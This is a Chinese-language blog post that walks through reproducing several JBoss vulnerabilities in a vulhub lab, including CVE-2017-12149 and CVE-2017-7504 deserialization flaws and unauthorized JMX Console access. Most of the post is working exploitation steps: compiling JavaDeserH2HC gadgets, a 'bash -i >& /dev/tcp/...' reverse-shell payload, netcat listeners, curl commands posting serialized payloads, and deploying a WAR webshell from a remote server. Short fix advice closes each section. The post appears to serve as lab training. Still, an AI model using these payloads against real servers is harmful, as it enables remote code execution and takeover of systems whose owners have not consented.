jboss常见漏洞复现


JBoss 5.x/6.x 反序列化漏洞( CVE-2017-12149 )

验证: 访问/invoker/readonly,如果返回 500 ,说明页面存在,此页面存在反序列化漏洞。

利用工具:JavaDeserH2HC
步骤:
1.先编译

# 我们选择一个 Gadget : ReverseShellCommonsCollectionsHashMap ,编译并生成序列化数据
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

2.设置反弹的IP和端口:

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.0.105:8888 # ip 是 nc 所在的 ip 
# 这样就会将序列化对象保存在ReverseShellCommonsCollectionsHashMap.ser中,用curl命令发送到Jboss服务地址

3.本机进行监听

nv -lvvp 8888

4.再打开另一个控制台,运行如下curl命令

curl http://192.168.0.100:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

5.成功反弹shell

JBoss JMXInvokerServlet 反序列化漏洞

验证: 访问 /invoker/JMXInvokerServlet,返回如下,说明接口开放,此接口存在反序列化漏洞。

这里直接利用 CVE-2017-12149 生成的 ser ,发送到 /invoker/JMXInvokerServlet接口中。

也可以直接利用工具检测:工具下载地址

# 运行工具即可
java -jar DeserializeExploit.jar

JBoss EJBInvokerServlet 反序列化漏洞

验证: 访问 /invoker/EJBInvokerServlet 返回如下,说明接口开放,此接口存在反序列化漏洞。

这里直接利用 CVE-2017-12149 生成的 ser ,发送到 /invoker/EJBInvokerServlet 接口中

修复建议

  1. 不需要ttp-invoker.sar组件的用户可直接删除此组件
  2. 或添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中,对 http invoker 组件进行访问控制:<url-pattern>/*</url-pattern>

JBoss <=4.x JBossMQ JMS 反序列化漏洞( CVE-2017-7504 )

利用工具:JavaDeserH2HC
步骤:
1.先编译

# 选择ExampleCommonsCollections1WithHashMap,编译并生成序列化数据
javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java   #编译 

2.设置反弹的IP和端口:

java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "bash -i >& /dev/tcp/192.168.0.105/1234 0>&1"       #ser全称serialize,序列化恶意数据至文件。

3.本机进行监听

nv -lvvp 1234

4.再打开另一个控制台,运行如下curl命令

#该ser文件作为请求数据主体发送如下数据包
curl http://192.168.0.100:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser  # --data-binary 意为以二进制的方式post数据

5.成功反弹shell

JMX Console 未授权访问

漏洞描述

未授权访问管理控制台,通过该漏洞,可以后台管理服务,可以通过脚本命令执行系统命令,如反弹shell,wget写webshell文件。

环境搭建

使用vulhub

cd vulhub/jboss/CVE-2017-7504/
docker-compose up -d

# 浏览器访问
复现

1.未授权访问测试(无无需认证进入入控制⻚页面面)

http://192.168.0.100:8080/
# 进入控制页 JMX Console
http://192.168.0.100:8080/jmx-console/ 

2.点击jboss.deployment进入应用部署页面

3.使用apache搭建远程木马服务器(这里在kali上搭建)

# war马的制作方式:https://www.peekeyes.com/2020/01/13/%E5%88%B6%E4%BD%9Cwar%E6%9C%A8%E9%A9%AC%E5%B9%B6%E4%B8%94%E6%8B%BF%E4%B8%8Bwebshell/
jar cvf shell.war shell.jsp

4.通过addurl参数进行木马的远程部署

地址写远程服务器war马的地址

成功部署

5.连接木马

http://192.168.0.100:8080/shell/shell.jsp

防护
  • 对jmx控制页面访问添加访问验证。
  • 进行JMX Console 安全配置。

文章作者: 剑胆琴心
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 剑胆琴心 !
评论
 上一篇
Tomcat常见漏洞复现 Tomcat常见漏洞复现
后台管理页面弱口令默认:http://127.0.0.1:8080/manager/html页面只允许本地访问,除非管理员手工修改了这些属性 1.尝试登录后台1.尝试默认账户密码:tomcat:tomcat2.如果不是,尝试用弱口令字典进行
2020-05-26
下一篇 
Jenkins一些安全问题 Jenkins一些安全问题
漏洞简介及危害默认情况下 Jenkins面面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进入后台管理服务,通过脚本执行行界面从而获取服务器权限。 环境搭建# 下载地址: https://
2020-05-26
  目录